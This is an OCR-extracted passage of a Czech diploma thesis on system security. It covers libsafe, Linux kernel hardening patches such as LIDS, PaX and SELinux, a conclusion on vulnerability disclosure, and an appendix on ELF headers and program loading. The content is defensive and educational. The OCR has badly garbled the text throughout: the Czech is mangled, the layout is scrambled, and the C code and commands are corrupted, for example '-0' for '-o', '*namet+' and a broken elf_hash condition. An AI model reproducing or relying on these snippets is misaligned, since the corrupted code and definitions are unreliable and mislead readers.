Na tomto principu pracuje knihovna libsafe. Tato knihovna v sobé obsahuje bezpetngsi im-
plementaci vétSiny znamych problematickych funkci ze standardni knihovny jazyka C. Jgi pou-
Zivani je jednoduché a nevyzaduje Zadné prekompilovani programtl. Pouze nastavime proménnou
LD_PREL OAD nebo provedeme editaci souboru /etc/ld.so.preload. Knihovnu libsafe je mozné ziskat
na strance http://www.gnu.org/directory/security/net/libsafe.html.

$ export LD_PRELOAD=libsafe.s0.2
$ gcc program.c -0 program
$ ./program

9.34 Modifikacejadra

Modifikaci standardniho linuxového jadra miizeme dosadhnout znatné zvySeni bezpetnosti. B&znou
praxi jsou zaplaty vytvarejici nespustitelny zasobnik a haldu, oSetfeni doCasnych souborli v adre-
safi tmp € vylepSeni virtualniho souborového systému. Dale se omezuji pravomoce superuzivatele
a zavadgji pristupové seznamy® pro povoleni urtitych operaci. Cenou za tyto modifikace jsou Casto
neoCekavané komplikace. Zasobnik musi byt spusitelny napf. kvili systému doruCovani signail pro-

“http://www. phrack.com/show.php?p=56& a=5
SACL - Access Control List
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cestim. S modifikacemi virtualniho souborového systému se §patné vyrovnavaji programy spoléhgjici
na urcité standardni vlastnosti. Zaplaty musi tyto problémy €asto neelegantné a komplikovang fesit.

Zatim Zadny z existujicich projektll, které modifikuji jadro, nebyl natolik konceptné Gisty, aby
mohl byt zafazen do standardniho jadra. Modifikace jadra pomoci téchto projektll |ze doporutit pouze
odbornikiim, ktefi prostuduji zdrojovy kod zapl aty adokazi zhodnotit miru ziskanych vyhod anevyhod.
Jednou z nejvétsich nevyhod jsou problémy pri kombinaci vice rliznych zéplat najadro. Miize se stét,
Ze zaplaty se navzgiem ovlivni a vznikne zcela nestabilni ¢i nefunkéni jadro. DalSi nevyhodou byva
dostupnost zaplat pouze pro urcité verze jadra. Dlvodem je rychly vyvoj linuxového jadra. Znamych
projektil, které zvyduji bezpetnost jadra je nékolik:

e LIDS- http://www.lids.org/
KliCoveé vlastnosti:

— Ochrana souborll. Zadny uZivatel véetné superuZivatele nemiize modifikovat chranéné
soubory. Soubory mohou byt zneviditel nény.

— Ochrana procesi. Zadny uZivatel véetng superuZivatele neméize ukongit chranéné procesy.
Procesy mohou byt zneviditelnény.

— Implementace pristupovych seznamil ACL (Access Control List)
— Skener portl
— Nastroje pro spravu vylepsenych logovacich schopnosti kernelu

e Medusa — http://medusa.fornax.sk/
Medusa je dilem dovenské autorské dvojice Marek Zelem a Milan Pikula. Medusa definuje
prisudnosti objektl do domén, které maji rozdilné upravene virtuani adresni prostory.

e OpenWall — http://www.openwall.com/
Projekt OpenWall byl jednim z prvnich projektll zamé&fenych na zvyseni bezpetnosti jadra. Jeho
plvodni cil byl nespustitelny zasobnik. Dodnes sméfuje vétSina praci v projektu pravé pouze
k tomuto cili. Navic implementuje urcité omezeni pro adresare /tmp a/proc.

e PaX (PageExec)— http://pageexec.virtuaave.net/
Projekt PaX implementuje nespustitelny zasobnik a haldu. Novinkou, kterou vnasi do bezpet-
nosti jadra, je zména rozvrzeni vyuzivani virtuaniho adresniho prostoru procesem. Metoda se
nazyva ASLR (Address Space Layout Randomization).

e RSBAC (Rule Set Based Access Control) — http://www.rsbac.org/
Zakladem tohoto projektu je definovani pravidel apovoleni pro rlizné operace. Podporovanych
druhli seznamli je celkem 11. Naméatkou jmenujme alespoil néktere: MAC (Mandatory Access
Control), FC (Function Control), SIM (Security Information Modification) a ACL (Access
Control List).

e SELinux (Security Enhanced Linux) — http://www.nsa.gov/selinux/
Tento projekt pochazi z dilny americké Narodni bezpetnostni agentury NSA.. Jeho idea vychazi
z omezeni prav uzivatele na nezbytné& nutné minimum pro jeho préci. V podstaté se dafici, ze
implementuje model MAC (Mandatory Access Control). Model MA C prifazuje véem subjekttim
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aobjektlim bezpetnostni atribut. Na zakladé porovnani atributll dojde k povoleni resp. nepovo-
leni pristupu. Mezi vyvojari linuxového jadra neni tomuto produktu vénovana vetsi pozornost.
Diivodem jsou obavy z moznych nezdokumentovanych zmeén, které mohla NSA provést.

Na konferenci OpenWeekend 20026 poradané v prostorach Elektrotechnicke fakulty CVUT se
setkali programatori tfi nejdokonalgjSich projektti — Amon Ott (RSBAC), Milan Pikula (Medusa)
a Philippe Biondi (LIDS). V&chni se shodli, Ze zvySeni bezpetnosti standardniho linuxového jadra
bude dlouhodoby proces. Dlivodem je jeho velika rozsahlost a distribuovany vyvoj po celém svété.
Pridani bezpetnostni zaplaty nékterého z jmenovanych projektll by byla prilis dalekosahla zména.
Vyvoj novych vlastnosti jadra by se musel na delSi dobu zastavit a spréavci jednotlivych Casti jadra by
museli odladit apotvrdit spravnou funkci. Hlavni spravce linuxového jadra, pan Torvalds, je zastancem
postupného vylepdovani azvySovani bezpetnosti. Ve dokladaji jeho viastni slova’: ” I'monly arguing
against stupid people who think they need a revolution to improve - most real improvements are
evolutionary.”

Programatori také hovotili avyhodach a nevyhodach jgjich projektll. Zavér vypada takto:

e Nejvétsi vyhodou projektu RSBAC je mnozstvi pravidel aomezeni, kteréimlementuje. Zaroven
to Ize povazovat i za ngjvé&tsi nevyhodu, protoze nastudovani a nastaveni pravidel miize trvat
pomérné dlouho.

e NgjVétsi vyhodou projektu Medusa je jeho priihledna implementace, ktera pouze minimané
modifikuje jadro. Nevyhodou je, Ze M edusa pouze vytvari upravené adresni prostory, do kterych
uzivatel musi sam doprogramovat bezpecnostni modely, jako napf. ACL.

e Ngvés vyhodou projektu LIDS je rozumna mira mnozstvi pfistupovych pravidd a jgich
vychozi nastaveni poinstalaci. Tuto vlastnost uvitaji zefménalidésmensi znal osti problematiky.
Nevyhodou je pomérné velky zasah do jadra, ktery napr. vede az tak daleko, ze aktivace nové
konfigurace LIDSu vyZzaduje restart poCitaCe. To je velmi nepfijemna vlastnost pro nasazeni na
serverech.

V devadesatych letech dvacatého stol eti sevétS nabezpetnostnich zaplat najadro ubiralacestou ne-
spustitel ného zasobniku ahaldy. Postupem ¢asu se zatal aprojevovat nechut vyvojart sl ozitéresit nedo-
statky strankovani na procesorech fady x86. Nemoznost nastavit priznak sputitel nosti/nespustitel nosti
u jednotlivych stranek paméti je v tomto ohledu povazovana za jeden z nejvétSich nedostatkll proce-
sorli fady x86. Vyvojari se pomalu zatali ubirat smérem k inovacim, které jsou globalniho charakteru
bez ohledu na mikroprocesorovou architekturu. Kdyz se kolem roku 2000 objevila technika return-
into-lib (viz odstavec 7.3.4 na strané 74), bylo zZiggmé, Ze nespustitelny zasobnik €i halda nepfinasi
Zadnou skutecnou vrstvu bezpetnosti. BezpeCnostni zaplaty od té doby sméfuji k omezovani povole-
nych operaci pomoci pristupovych seznamil. Do8o k omezeni i pravomoci superuzivatele a zvysily
selogovaci schopnosti jadra.

Shittp://www.openweekend.cz
"http://kerneltrap.org/node.php?d=521& cid=1925
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Na zavér 1ze celkoveé fici, Ze zpravidla neni mozné kombinovat zaplaty, které provadgji rozsahly
zasah do standardniho jadra. Tyka se to predevdim modifikaci pro realny €as® a kryptované souborové
systemy®. Oproti tomu zéplata vylepdujici ovladat sitové karty nebude pravdépodobné zplisobovat
komplikace. Po Usp&né aplikaci zaplat a kompilaci jadra je potfeba ovéfit funkénost uzivatelskych
aplikaci. U serverovych aplikaci jako apache, bind Ci gated zpravidla nebyvaji komplikace. Autofi
bezpetnostnich zaplat predpokladaji nasazeni predevSim na serverech, a proto své zaplaty oproti
typickym aplikacim dostatetné testuji. Na pracovnich stanicich s netestovanych softwarem miize dojit
k nepredvidatelnym problémtim, &i naopak, vée miize fungovat spravné. Protoze vysedné vlastnosti
systému se Casto vyrazné liSi v zévidoti na verzi jadra a verzi zaplaty, neni bohuzel mozné provést
rozsahlé testy se véemi uzivatelskymi aplikacemi.

8http://www.realtimelinuxfoundation.org/
Shttp://www.kerneli.org/
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Kapitola 10

Zaver

Diplomova prace nas detailné provedla zakulisim nejcastéjSich (tokl na potitatovy systém. Trebaze
jsme se vénovali predevdim systému GNU/Linux, vétSina zde uvedenych informaci ma obecnou
platnost. Stranou zlistaly pouze moduly vkladané do linuxového jadra (LKM - Loadable Kernel
Modules), s jgjichz pomoci Ize provést presmérovani systémovych volani jadra. Popis téchto metod
by vydal na publikaci nejméné stejné obsahlou, jako jetato diplomovéaprace. Navic LKM jsou zévislé
naverzi jadra.

Zjidtili jsme, ze mnoho probleml s bezpetnosti maji na svédomi nedostatky mikroprocesorovée
architektury x86 asamotny jazyk C. Neni pravdépodobné, Zze bychom se v blizké budoucnosti v tomto
sméru mohli dockat vyraznéjSich zmeén. Ovladnuti trhu osobnich potitatli PC s procesory fady x86 je
ziggmé. A nova mikroprocesorova architektura |A-64 firmy Intel nedosahuje zatim otekavaného roz-
kvétu. O poznani |épe je vniman krok konkurencniho vyrobce kompatibilnich procesorti firmy AMD.
Jgji nova 64-hitova architektura (Opteron) je s mikroprocesory x86 zpétné kompatibilni a oznatuje se
jako x86-64. Jazyk C pri vyvoji operatnich systéml také velmi pravdépodobné nebude v brzké dobé
nahrazen. Pfepsani do modernggich objektovych programovacich jazykt by bylo velmi nakladné.
Otazkou také zlistava, jaky jazyk zvolit a jaky dopad by tato volba méla na rychlost operacniho
systému.

Jin& situace je u programovani uzivatelskych aplikaci. Potfeba vytvaret aplikace v kratSim Case
vede vyvojare k jazyklim jako Java, C#, & SmallTalk. V&tSinou se jedna o objektove jazyky interpre-
tované navirtuanich strojich. Intepretace pfinaSi nesporné vyhaody, jako napf. platformni nezavidost
a pokrocilé metody automatického uvolhovani paméti. Také nemoznost pfimého pristupu do paméti
vyrazné zvy3suje bezpetnost. Nevyhodou je niZSi rychlost v porovnani s programy napsanymi v jazyce
C. Castym argumentem zastanctl interpretovanych jazykt byva, e se jedna o nevyhodu pouze dogas-
nou, nebot problém vyFesi rychlgSi hardware. Tvrzeni o doCasnosti této nevyhody je vSak ponékud
v rozporu sdlouholetym pozorovanim, z néhoz vyplyva, ze soucasné softwarové projekty vzdy poCitaji
s hardwarem budoucnosti.

Neni vyloueno, Ze se také objevi metody Unikll z virtualnich strojil. Touto cestou pljde ziskat
pfimy pristup do paméti, ktery je zakladnim krokem na cesté k ovladnuti operacniho systému. Prvni
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vla&tovkou vevyzkumu moznosti tniku z virtudl nich stroj i, miize byt | etodni setkani sl ovenské skupiny
Hysteria. Jednim z uvazovanych témat soutéze pro UCastniky setkani by mé& byt Unik z prostfedi

(e

programu VMware. V dobé, kdy tato préace vznikaa, nebyly dostupné z&dné blizsi informace.

Nejvétsim krokem, ktery miizeme ke zvySeni poGitatove bezpetnosti udéat jiz nyni, je otevienost
software. Na pozadi Utokl neni nic jiného nez chyby v programovém vybaveni poCitacl.. Chyby,
o kterych je potfeba hovofit a napravovat je.

Na svété existuje v soutasné dobé nékolik desitek skupin expertdl, které se vénuiji analyze bezpet-
nosti programtl aoperacnich systemil. Postup pfi nalezeni chyby byvavzdy stejny. Upozornéni autordl
s ultimativni Zadosti o opravu. Po uplynuti nékolika tydni, které autofi dostali na odstranéni chyby,
nasleduje jeii zvefginéni pro odbornou veFg nost.

Bohuzel, skuteCnost miize vypadat tak, Ze firmy odmitaji dat programatorlim &as k opravé chyb,
protoze pridani novych funkci a rychlé dodani nové verze produktu natrh je prednggi. Casto se také
stane, ze néktefi nezodpovédni spravei pocitatovych systémil neprovedou aktualizaci oprav. Ve ma
pak rychly spad. Zvidava mladez ¢te na Internetu odborné ¢lanky o chybach v programech a zkous,
zda staré triky jesté funguji. K jejich prekvapeni Casto ano. Postizené firmy vykazuji rekordni ztraty,
média hovori o genialnich hackerech, vlada reaguje prosazenim zakona o neleganosti odbornych
publikaci o chybach v programech. Tato situace nastala v USA, kde v roce 2000 vstupuje v platnost
zékon DMCA (Digital Millenium Copyright Act). Chyby v programech nezmizely, je jen nelegalni
o nich informovat. Zda stejnou cestu zvoli i stary kontinent, ukaze Cas.
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Priloha A

ELF format a jeho zavedeni do paméti

Spustitelny binarni formét ELF (Executable and Linking Format) je standarizovany typ spustitelnych
souborll pro UNIXové platformy. Jeho spravou je povérena komise TIS, (Tool Interface Standard)
aaktualni verzeje 1.2, viz [4]. Specifikace urcuje povinnou, ¢astetné hierarchickou, strukturu souborul.

ELF forméat definuje 3 zakladni typy soubor(:

Relokovatelny soubor — Obsahuje kod a data ve tvaru vhodném pro sestaveni (pomoci programu,
ktery anglicky oznatujeme terminem linker) spustitelnych nebo sdilenych soubord.
Priklad Ziskani relokovatelného souboru: gcc -¢ program.c -0 program.o.

Spustitelny soubor —Obsahuje kbd adata ve tvaru vhodném pro pfimé zavedeni do paméti aspusténi
(pomoci programu, ktery anglicky oznatujeme terminem loader).
Priklad Ziskani spustitelného souboru: gcc program.c -0 program.

Sdileny soubor — Obsahuje kod a data ve tvaru vhodném pro sestaveni s jinymi sdilenymi soubory
¢i relokovatelnymi soubory za G&elem vytvoreni novych sdilenych nebo spustitelnych soubor.
Priklad Ziskani sdileného souboru: gec -fPIC -shared libx.c -o libx.so.

Sestavovaci program, ktery dale budeme oznatovat jako linker, na soubor hledi jako na soustavu
sekcl. Z jednotlivych sekci Ziskava informace nutné pro sestaveni sdilenych nebo spustitelnych sou-
borll. Rozdilny pohled pouZiva zavadét. Jeho Ukolem je co nejrychlejdi zavedeni segmentt (skupin
sekci) programu do paméti a predani fizeni do textového segmentu.

ELF hlavicka popisuje typ souboru a organizaci jednotlivych €asti formatu. U spustitelnych sou-
borli musi byt pritomna tabulka hlaviéek segmentll, které uréuji jak maji byt segmenty zavedeny do
paméti. Segmenty se mohou navzgjem prekryvat. Relokovatelné a sdilené soubory musi obsahovat
tabulku hlavicek sekci sinformacemi pro linker.



Pohled linkeru Pohled zavadéce

ELF hlavicka ELF hlavicka
Tabulka hlavi¢ek Tabulka hlavi¢ek
segmentli programu segmentli programu
(nepovinna)

Sekee 1 Segment 1
Segment 2
Sekcen | |
Tabulka hlavicek Tabulka hlavicek
sekci sekci (nepovinnd)

Obrazek A.1: Dvartizné pohledy na soubor ve formatu ELF

A.1 Struktura hlavicek

V&echny struktury jsou definovany v hlavickovém souboru elf.h. Nésleduji vybrané struktury a kon-
stanty platné pro GNU/Linux.

Definice datovych typd

typedef unsigned int EIf32_Addr;
typedef unsigned short  EIf32_Half;
typedef unsigned int EIf32_Off;
typedef signed int EIf32_Sword;
typedef unsigned int EIf32_Word;

ELF hlavicka (EL F header)

typedef struct

{
unsigned char e_ident[EI_NIDENT]; [* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
EIf32_Word  e_version; /* Object file version */
EIf32_Addr e_entry; /* Entry point virtual address */
ElIf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; [* Section header table file offset */
EIf32_Word e _flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
EIf32_Half e_phentsize; /* Program header table entry size */
ElIf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; [* Section header table entry size */
EIf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */

} Elf32_Ehdr;



/* e_ident */

#define EI_NIDENT (16) 20
#define ELFMAG "\ 177ELF"

#define EI_CLASS 4 /* File class byte index */

#define ELFCLASS32 1 /* 32-bit objects */

#define EI_DATA 5 /* Data encoding byte index */

#define ELFDATA2LSB 1 [* 2's complement, little endian */

#define EI_VERSION 6 /* File version byte index */

#define EV_.CURRENT 1 [* Current version */ 30
[* e_type */

#define ET_NONE 0 /* No file type */

#define ET_REL 1 /* Relocatable file */

#define ET_EXEC 2 [* Executable file */

#define ET_DYN 3 /* Shared object file */

#define ET_CORE 4 [* Core file */

[* e_machine */

#define EM_386 3 /* Intel 80386 */ 40
[* e_version */

#define EV_NONE 0 [* Invalid ELF version */

#define EV_CURRENT 1 [* Current version */

ELF hlavicka je rozcestnikem celého souboru. Obsahuje informace o forméatu, umisténi/velikosti
tabulek hlavitek segmentll asekci, index sekce snazvy sekci, adresu vstupniho bodu — prvni instrukce

e

koddu programu. Vstupni bod je spojen se symbolickym navéstim _start.

Hlavicka segmentu (Segment header)

typedef struct

{
Elf32_Word p-type; /* Segment type */
Elf32_Off p-offset; [* Segment file offset */
ElIf32_Addr p-vaddr; /* Segment virtual address */
EIf32_Addr p_paddr; /* Segment physical address */
EIf32_.Word  p_filesz; [* Segment size in file */
EIf32_.Word ~ p_memsz; [* Segment size in memory */
Elf32_Word p_flags; /* Segment flags */
EIf32_.Word ~ p_align; /* Segment alignment */ 10

} EIf32_Phdr;

I* p_type */

#define PT_NULL
#define PT_LOAD
#define PT_DYNAMIC
#define PT_INTERP
#define PT_NOTE
#define PT_SHLIB

/* Program header table entry unused */
/* Loadable program segment */

/* Dynamic linking information */

[* Program interpreter */

/* Auxiliary information */

/* Reserved */

apb~wdNEF O



#define PT_PHDR 6 /* Entry for header table itself */

[* p_flags */

#define PF_X 1<<0 /* Segment is executable */
#define PF_W 1<<1 /* Segment is writable */
#define PF_R 1<< 2 [* Segment is readable */

PT_LOAD - Pro spudténi programu se do paméti mapuji pouze obsahy segmentil typu PT _LOAD.
Jgjich potet neni omezen. Nejcastéjsi je pripad dvou segmenttl - kodového (neboli textového)
adatového.

PT_INTERP — Program nemusi byt spoustén pfimo pfedanim fizeni na adresu vstupniho bodu.
V sekci typu PT_INTERP miize byt umistén nazev interpretu programu. Zpravidlajimje RTLD
(Runtime Link Editor).

PT_DYNAMIC —Segment typu PT_DY NAMIC obsahuje informace potfebné pro dynamické linko-
vani.

PT_PHDR - Segment typu PT_PHDR pouze symbolicky oznatuje oblast tabulky hlavitek segmentd.
Oznateni neni povinné.

PT_NOTE - Segment typu PT_NOTE zahrnuje sekce obsahujici doplfiujici informace o programui.

e hodnoty polozek p_offset ap_vaddr musi byt kongruentni modulo velikost stranky paméti
(4kB)

e poloZka p_paddr mavyznam pouze pro operacni systémy pracujici pfimo s fyzickymi adresami

e implicitni umisténi kddového segmentu je na adresu 0x8048000

Ukazka pro textovy segment o velikosti 1152B a datovy segment o velikosti 292B je na obrazku
A.2. Obsah vyplné je dan byty v souboru, které nasleduji za danym segmentem. Mapovani segmentl
do paméti se provadi systémovym volanim mmap() po nasobcich 4kB. Pokud jiz ze souboru nelze Cist
dalSi byty je vyplh tvofena nulami.

Pro polozky p_filesz a p_memsz musi platit vztah p_filesz < p_memsz. Pro pfipad p_filesz <

p_memsz jeoblast paméti danarozdilem p_memsz — p_filesz nastavenananulu. Takto vznika sekce
bss.

Hlavicka sekce (Section header)

typedef struct

EIf32_Word  sh_name; /* Section name (string thl index) */
EIf32_.Word  sh_type; [* Section type */
EIf32_Word  sh_flags; /* Section flags */
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Soubor

Textovy
segment

1152B (0x480B)

Datovy
segment

Obrazek A.2: Zavedeni segmentll programu do paméti

Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;

/*
/*
/*
/*
/*

EIf32_Word  sh_addralign; /*
EIf32.Word  sh_entsize; I*
} EIf32_Shdr;
[* sh_type */

#define SHT_NULL
#define SHT_PROGBITS
#define SHT_SYMTAB
#define SHT_STRTAB
#define SHT_RELA
#define SHT_HASH
#define SHT_DYNAMIC
#define SHT_NOTE
#define SHT_NOBITS
#define SHT_REL
#define SHT_SHLIB
#define SHT_DYNSYM

[* sh_glags */

#define SHF_WRITE
#define SHF_ALLOC
#define SHF_EXECINSTR

/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
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Section virtual addr at execution */
Section file offset */

Section size in bytes */

Link to another section */
Additional section information */
Section alignment */

Entry size if section holds table */

Section header table entry unused */
Program data */

Symbol table */

Sring table */

Relocation entries with addends */
Symbol hash table */

Dynamic linking information */
Notes */

Program space with no data (bss) */
Relocation entries, no addends */
Reserved */

Dynamic linker symbol table */

Writable */
Occupies memory during execution */
Executable */

0x8048000

Datovy 0x8049480

Vys§i adresy paméti

V&echna data v souboru, kromé ELF hlavicky a tabulek hlavitek segmentli resp. sekci, byvaji
soucasti nékteré sekce. Kazda sekce ma v tabulce hlavitek sekci pravé jeden zaznam. Ne kazdy
zaznam v tabulce hlavitek sekci musi mit sekci. Kazda sekce obsahuje ucelenou posloupnost byt
v souboru (pocet bytli miize byt nulovy). Sekce se nemohou prekryvat. V souboru mohou byt data,
ktera nejsou popsana zadnou hlavickou sekci a ngjsou ani soucasti zadné sekce. Data, ktera nelze

referencovat z tabulky hlavicek sekci, je mozné odstranit prikazem strip.
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Polozka sekcetypu SHT_SYMTAB nebo SHT _DYNSYM (Symbol table entry)

typedef struct

{
Elf32_Word st_name;
EIf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;

} EIf32_Sym;

/* st_info */

#define ELF32_ST_BIND(val)
#define STB_LOCAL 0
#define STB_GLOBAL 1
#define STB_WEAK 2

#define ELF32_ST_TYPE(val)
#define STT_NOTYPE 0
#define STT_.OBJECT 1
#define STT_FUNC 2
#define STT_SECTION 3
#define STT_FILE 4
#define STT_.COMMON 5

#define ELF32_ST_INFO(bind, type)

/* Symbol name (string thl index) */
/* Symbol value */

/* Symbol size */

/* Symbol type and binding */

[* Symbol visibility */

[* Section index */

10

(((unsigned char) (va)) >> 4)
/* Local symbol */

/* Global symbol */

/* Weak symbol */

((va) & 0xf)

/* Symbol type is unspecified */

/* Symbol is a data object */ 20
/* Symbol is a code object */

/* Symbol associated with a section */

/* Symbol’s name is file name */

/* Symbol is a common data object */

(((bind) << 4) + ((type) & Oxf))

v

Tabulky symbolll obsahuji informace potfebné pro nalezeni a relokaci symbolickych naveésti
areferenci programu. Kompilator gcc vytvari sekci .dynsym (SHT DY NSY M) pro uchovani symbol,
které jsou nutné pro béh programu. Sekce .symtab (SHT _SY M TAB) obsahuje pomocné symboly, které
se vyuzivaji pri analyze souboru (gdb, objdump, ...). Program strip tuto sekci odstrani.

Polozka sekce typu SHT _REL (Relocation table entry)

typedef struct

ElIf32_Addr r_offset;
Elf32_Word r_info;
} EIf32_Rd;

#define ELF32_R_SYM(val)

#define ELF32_R_TY PE(val)
#define R_386_NONE 0
#define R_386_32
#define R_386_PC32
#define R_386_GOT32
#define R_386_PLT32
#define R_386_COPY

b~ WNPF

[* Address */
/* Relocation type and symbol index */

((vel) >> 8)

((va) & 0xff)

/* No reloc */ 10
/* Direct 32 bit  */

/* PC relative 32 bit */

/* 32 bit GOT entry */

/* 32 bit PLT address */

/* Copy symbol at runtime */
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#define R_386_GLOB_DAT 6 /* Create GOT entry */

#define R_386_JMP_SLOT 7 /* Create PLT entry */

#define R_386_RELATIVE 8 /* Adjust by program base */

#define R_386_GOTOFF 9 [* 32 bit offset to GOT */

#define R_386_.GOTPC 10 [* 32 hit PC relative offset to GOT */ 20
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & Oxff))

Relokace je proces propojeni symbolickych referenci se symbolickymi navéstimi. Napf. pfi volani
funkce ze sdilené knihovny se musi urcit spravna adresa navésti funkce v zavidoti na adrese zavedeni
knihovny do paméti. Kompilator vytvari dvé sekce tohoto typu — .rel.plt, .rel.dyn.

PoloZzka sekce typu SHT_DYNAMIC (Dynamic table entry)

typedef struct

EIf32_Sword  d_tag; /* Dynamic entry type */
union
{
ElIf32_Word d_vdl; /* Integer value */
EIf32_Addr d_ptr; /* Address value */
} d_unm;
} EIf32_Dyn;
10
[* d_tag */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Sze in bytes of PLT relocs */
#define DT_PLTGOT 3 [* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_.SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */ 20
#define DT_RELAENT 9 [* Sze of one Rela reloc */
#define DT_STRSZ 10 /¥ Sze of string table */
#define DT_SYMENT 11 /* Sze of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_.SYMBOLIC 16 /* Sart symbol search here */
#define DT_REL 17 /* Address of Rd relocs */
#define DT_RELSZ 18 [* Total size of Rel relocs */ 30
#define DT_RELENT 19 [* Sze of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
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Pokud program vyuziva moznosti dynamicky linkovanych knihoven musi obsahovat sekci typu
SHT_DYNAMIC. Jednotlivé polozky obsahuji informace o zavidosti na konkrétnich dynamickych
knihovnach a ddle indexy sekci, které také souvisi s dynamickym linkovanim. Sekce .dynamic.

Struktura sekcetypu SHT _NOTE

typedef struct

Elf32_Word n_namesz; /* Length of the note's name. */
Elf32_Word n_descsz; /* Length of the note's descriptor. */
EIf32_Word n_type; [* Type of the note. */

} EIf32_Nhdr;

12 n_namesz
2 n_descsz
1 n_type
G N U name

1 \0 X X]| desc
n_namesz

v s

Umisténi fetézch musi byt zarovnano po 4B. Kompilator gec vytvari sekce .note.ABI-tag a.note.

Struktura sekcetypu SHT _HASH

nbucket
nchain
bucket[0]

bucket[nbucket-1]
chain[0]

chain[nchain-1]

Hashovaci tabulka zrychluje pfistup do tabulky symbol {1 k danému jménu symbolu. K ompilator vytvari
sekci .hash. Pole bucket resp. chain obsahuje nbucket resp. nchain polozek. Polozky poli bucket
i chain obsahuji index do tabulky symboltl. Funkce elf_hash() vraci hodnotu x pro zadané jméno
symbolu. Index y ziskany vyrazem bucket[z % nbucket] odkazuje do tabulky symbolli i do pole
chain. Pokud Zziskany symbol z tabulky symbolli neni spravny, potom chain[y] udava novy index
do tabulky symbolli a pole chain. V pfipadg, Ze symbol s pozadovanym jménem neni nalezen, je
vysledekem hledani nulty symbol z tabulky symboll s hodnotou STN_UNDEF.

unsigned long elf_hash(const unsigned char *name) {
unsigned long h = 0, g;

while (*name) {

h = (h << 4) + *namet+;
if (9 = h & 0xf00O00000) h "= g >> 24;
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h &= g,

return h;

Struktura sekcetypu SHT _STRTAB

+0 +1 +2 +3 +4 +5 +6 +7 +8 +9

of\o|_|_|Ifilblc]|_|s|t
10(alr|t|_|m|aliln\0|p
2| r|i| n t] fI\NO|X|X|X]|X
30| X |[\0

Kompilator vytvari nékolik sekci typu SHT _STRTAB. Sekce .dynstr obsahuje nazvy symbolll, které
souvisi s béhem programu. Sekce .shstrtab obsahuje nazvy jednotlivych sekci. Sekce .strtab obsahuje
nazvy symbol{l, které prisiusi k tabulce symbol{l sekce .symtab. Sekci .strtab |ze ze souboru odebrat

programem strip.

A.2 Zavedeni programu do paméti

Jadro ve funkci load_elf_binary() (soubor $K ERNEL /fg/binfmt_elf.c) provede systémovym volanim
mmap() namapovani segmentll spoudténého programu do virtuani paméti. Dale na zasobnik umisti
(create_df tables()) pomocné proménné (auxiliary vectors) pro béh interpretu programu (je-li pouzit)
a parametry programu s proménnymi prostfedi (copy_strings()). Situace na zasobniku je zobrazena

na obrazku A.3.

Retézec

pradzdny Fetézec
_libc_start_main
libc_start_main
start_main

main

printf

konec sekce

Pomocné proménné z pole auxv vyuZiva ke své praci dynamicky linker.

typedef struct
{

int a_type;
union

long int a_val;
void *a_ptr;

void (*a_fcn) (void);

} aun;
} Elf32_auxv_t;

[* atype */

#define AT_NULL
#define AT_IGNORE
#define AT_EXECFD

[EnY

~

* Entry type */

[* Integer value */
[* Pointer value */
/* Function pointer value */

/* End of vector */

/* Entry should be ignored */

/* File descriptor of program */

10
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OXbfffffff

Smér ristu zdsobniku

| argc

Vrchol zéasobniku
Retézec se jménem programu

auxv[1]
auxv|[0]
| envp[term]

envp[1]
envp[0]

" argv[n]
argv[n-1]

argv[1]
argv[0]

NULL

*%

AT_NULL

NULL

NULL

** — ptipadné zarovnani

Obrazek A.3: Situace na zasobniku tésné pred spusténim programu

#define AT_PHDR
#define AT_PHENT
#define AT_PHNUM
#define AT_PAGESZ
#define AT_BASE
#define AT_FLAGS
#define AT_LENTRY
#define AT_NOTELF
#define AT_UID
#define AT_EUID
#define AT_GID
#define AT_EGID
#define AT_CLKTCK

[* Some more special a_type values describing

14
17

#define AT_PLATFORM 15

#define AT_.HWCAP

16

/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*

/*
/*

Program headers for program */
Sze of program header entry */
Number of program headers */
System page size */

Base address of interpreter */ 20
Flags */

Entry point of program */
Program is not ELF */

Real uid */

Effective uid */

Real gid */

Effective gid */

Frequency of times() */

the hardware. */ 30
String identifying platform. */

Machine dependent hints about

processor capabilities. */

Posledni funkci jadra pred spudténim programu je start_thread(). Rizeni je predano bud” pfimo
na adresu prvni instrukce v textovém segmentu programu, nebo interpretu, je-li pozadovan.

Interpretem formatu ELF na linuxovém jédfe je dynamicky linker RTLD (Runtime Link Editor).
Dynamicky linker zavede do paméti poZadované sdilené knihovny (polozky typu DT _NEED v sekci
.dynamic). Provede aktualizaci struktur sekci v zavidosti na adrese zavedeni knihovny do paméti.

v

Rizeni je predano na vstupni bod v textovém segmentu procesu — navédti _start. Kompilator gec zde
vygenerova kod pro spusténi funkce __libc_start_main(), kteraje obsazenav knihovné libc. Od chvile

oo

pfedani fizeni samotnému programu je dynamicky linker pfipraven poskytovat programu své sluzby
v podobeé relokace a resolvace symbolickych navésti areferenci.



Priprava parametrll na zasobnik a zavolani funkce _libc_start_main() vypada takto.

0x8048310 <_start>: xor %ebp,%ebp
0x8048312 < _start+2>: pop %esi 1*
/*
